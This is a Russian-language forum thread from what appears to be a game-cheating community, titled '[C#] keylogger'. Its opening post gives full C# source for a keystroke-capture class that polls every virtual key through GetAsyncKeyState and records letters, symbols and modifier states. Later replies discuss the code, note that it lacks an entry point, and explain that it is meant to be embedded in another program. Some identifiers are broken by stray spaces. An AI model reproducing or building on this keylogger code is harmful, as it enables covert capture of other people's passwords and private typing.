Регистрация Главная Пользователи Все разделы прочитаны
Сообщения за день Справка Регистрация
Старый 11.04.2015, 14:45   #1
 Пехотинец
Аватар для zZkamedosZz
 
zZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе цену
Регистрация: 17.01.2014
Сообщений: 67
Популярность: 4064
Сказал(а) спасибо: 145
Поблагодарили 138 раз(а) в 101 сообщениях
Отправить сообщение для zZkamedosZz с помощью Skype™
 
По умолчанию [C#] keylogger

Код:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

using System.Windows.Forms;
using System.Runtime.InteropServices;

public class KeyLog
{
//-> Declare GetAsyncKeyState().
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(Keys vKey); //To check the current status of a virtual key.
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(Int32 vKey); //To check the current status of a virtual key.
[DllImport("user32.dll")]
private static extern short GetKeyState(Keys vKey); //To check if a key is currently toggled (on/off).
[DllImport("user32.dll")]
private static extern short GetKeyState(Int32 vKey); //To check if a key is currently toggled (on/off).

//-> getKey() checks what keys have been pressed and returns the pressed keys, if any.
//-> Otherwise, returns null.
//-> The pressed keys are returned in a List<string> as (string)char/key name.
public List<string> getKey()
{
List<string> myKeys = new List<string>(); //Declare the list of keys as int.
for (int i = 0; i <= 255; i++) //Go through all key codes to check if any key is pressed.
{
int j = GetAsyncKeyState(i); //Get state of key i.
if (j == -32767) //Check if key is pressed.
{
if (i >= 65 && i <= 122) //From char 65 to 122
{
if (ShiftKey && CapsLock) //If Shift and CapsLock are toggled.
myKeys.Add(((char)(i + 32)).ToString()); //Lower case.
else if (ShiftKey) //If Shift or CapsLock is toggled.
myKeys.Add(((char)(i)).ToString()); //Upper case.
else if (CapsLock) //If Shift or CapsLock is toggled.
myKeys.Add(((char)(i)).ToString()); //Upper case.
else //Any other situation.
myKeys.Add(((char)(i + 32)).ToString()); //Lower case.
}
else if (i >= 48 && i <= 57) //From char 48 to 57
{
if (ShiftKey) //If Shift is toggled.
myKeys.Add(((char)(i - 16)).ToString()); //Symbols.
else //If Shift is not toggled.
myKeys.Add(((char)(i)).ToString()); //Numbers.
}
else
myKeys.Add(Enum.GetName(typeof(Keys), i)); //Any other situation.

//Check keys toggled
if (ShiftKey && !(myKeys.Contains(Keys.ShiftKey.ToString())))
myKeys.Add(Keys.ShiftKey.ToString()); //Add 'ShiftKey' if enabled.
if (ShiftKeyL && !(myKeys.Contains(Keys.LShiftKey.ToString())))
myKeys.Add(Keys.LShiftKey.ToString()); //Add 'LShiftKey' if enabled.
if (ShiftKeyR && !(myKeys.Contains(Keys.RShiftKey.ToString())))
myKeys.Add(Keys.RShiftKey.ToString()); //Add 'RShiftKey' if enabled.
if (ControlKey && !(myKeys.Contains(Keys.ControlKey.ToString())))
myKeys.Add(Keys.ControlKey.ToString()); //Add 'ControlKey' if enabled.
if (ControlKeyL && !(myKeys.Contains(Keys.LControlKey.ToString())))
myKeys.Add(Keys.LControlKey.ToString()); //Add 'LControlKey' if enabled.
if (ControlKeyR && !(myKeys.Contains(Keys.RControlKey.ToString())))
myKeys.Add(Keys.RControlKey.ToString()); //Add 'RControlKey' if enabled.
if (AltKey && !(myKeys.Contains(Keys.Menu.ToString())))
myKeys.Add(Keys.Menu.ToString()); //Add 'Menu' (Alt key) if enabled.
if (AltKeyL && !(myKeys.Contains(Keys.LMenu.ToString())))
myKeys.Add(Keys.LMenu.ToString()); //Add 'LMenu' if enabled.
if (AltKeyR && !(myKeys.Contains(Keys.RMenu.ToString())))
myKeys.Add(Keys.RMenu.ToString()); //Add 'RMenu' if enabled.
if (CapsLock && (!(myKeys.Contains(Keys.CapsLock.ToString())) && !(myKeys.Contains(Keys.CapsLock.ToString() + "[Enabled]"))))
myKeys.Add(Keys.CapsLock.ToString() + "[Enabled]"); //Add 'CapsLock[Enabled]' if enabled.
if (NumLock && (!(myKeys.Contains(Keys.NumLock.ToString())) && !(myKeys.Contains(Keys.NumLock.ToString() + "[Enabled]"))))
myKeys.Add(Keys.NumLock.ToString() + "[Enabled]"); //Add 'NumLock' if enabled.
}
}

return myKeys; //Return the list.
}

//-> Get keys toogle state (on/off).
#region Toggles
public static bool ControlKey
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey )); }
}
public static bool ControlKeyL
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LControlKe y)); }
}
public static bool ControlKeyR
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RControlKe y)); }
}
public static bool ShiftKey
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) ; }
}
public static bool ShiftKeyL
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LShiftKey) ); }
}
public static bool ShiftKeyR
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RShiftKey) ); }
}
public static bool AltKey
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu)); }
}
public static bool AltKeyL
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LMenu)); }
}
public static bool AltKeyR
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RMenu)); }
}
public static bool CapsLock
{
get { return Convert.ToBoolean(GetKeyState(Keys.CapsLock)); }
}
public static bool NumLock
{
get { return Convert.ToBoolean(GetKeyState(Keys.NumLock)); }
}
#endregion
}
  Ответить с цитированием
Старый 25.09.2015, 00:22   #2
Заблокирован
 Разведчик
Аватар для AngrySofter
 
AngrySofter никому не известный тип
Регистрация: 25.09.2015
Сообщений: 1
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Отправить сообщение для AngrySofter с помощью Skype™
 
По умолчанию Re: [C#] keylogger

Ты только исходник выложил, сделай в форме урока, людям ближе будет!
  Ответить с цитированием
Старый 25.09.2015, 12:33   #3
-= Мастер Света =-
 Рыцарь-капитан
Аватар для Ginrey
 
Ginrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака Норриса
Регистрация: 14.06.2012
Сообщений: 511
Популярность: 7566
Сказал(а) спасибо: 4
Поблагодарили 181 раз(а) в 88 сообщениях
 
По умолчанию Re: [C#] keylogger

Цитата:
Ты только исходник выложил, сделай в форме урока, людям ближе будет!

что ближе Ctrl+C -> Ctrl+V и готово
Да и весь код в комментариях
________________
Хотите как то отблагодарить за помощь?
Не стесняйтесь нажимайте "Спасибо"

Делаю программы на заказ, по всем вопросам в скайп: Ginrey2
  Ответить с цитированием
Старый 01.01.2016, 20:24   #4
 Разведчик
Аватар для qwertyuiop2013
 
qwertyuiop2013 неизвестен в этих краях
Регистрация: 12.01.2013
Сообщений: 3
Популярность: -85
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: [C#] keylogger

Это даже кейлоггером назвать нельзя
  Ответить с цитированием
Старый 06.02.2016, 10:36   #5
 Разведчик
Аватар для МаксLamyr
 
МаксLamyr блестящий пример для подражанияМаксLamyr блестящий пример для подражанияМаксLamyr блестящий пример для подражанияМаксLamyr блестящий пример для подражанияМаксLamyr блестящий пример для подражанияМаксLamyr блестящий пример для подражанияМаксLamyr блестящий пример для подражанияМаксLamyr блестящий пример для подражанияМаксLamyr блестящий пример для подражанияМаксLamyr блестящий пример для подражанияМаксLamyr блестящий пример для подражания
Регистрация: 06.05.2011
Сообщений: 15
Популярность: 2420
Сказал(а) спасибо: 32
Поблагодарили 35 раз(а) в 35 сообщениях
Отправить сообщение для МаксLamyr с помощью Skype™
 
По умолчанию Re: [C#] keylogger

Ошибка Программа не содержит статического метода "Main", подходящего для точки входа.
________________
vokovl <3
  Ответить с цитированием
Старый 07.02.2016, 05:25   #6
Почетный Пользователь
 Сержант
Аватар для MembRupt
 
MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(
Регистрация: 18.07.2013
Сообщений: 148
Популярность: 83981
Сказал(а) спасибо: 564
Поблагодарили 258 раз(а) в 195 сообщениях
 
По умолчанию Re: [C#] keylogger

Цитата:
Сообщение от МаксLamyrПосмотреть сообщение
Ошибка Программа не содержит статического метода "Main", подходящего для точки входа.

Это класс для использования в свой программе, а не сама программа
  Ответить с цитированием
Ответ

Опции темы

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Программа] KGB Keylogger alexmaggot Школа Читера 2 16.01.2015 12:15
[Продам] Keylogger Archirus Другие игры 8 28.06.2013 11:42
Keylogger dimabb Архив 1 06.05.2012 00:55
KEYLOGGER D: ClassID Общение и обсуждение, архив Lineage 2 0 06.08.2011 04:34

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 08:06.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net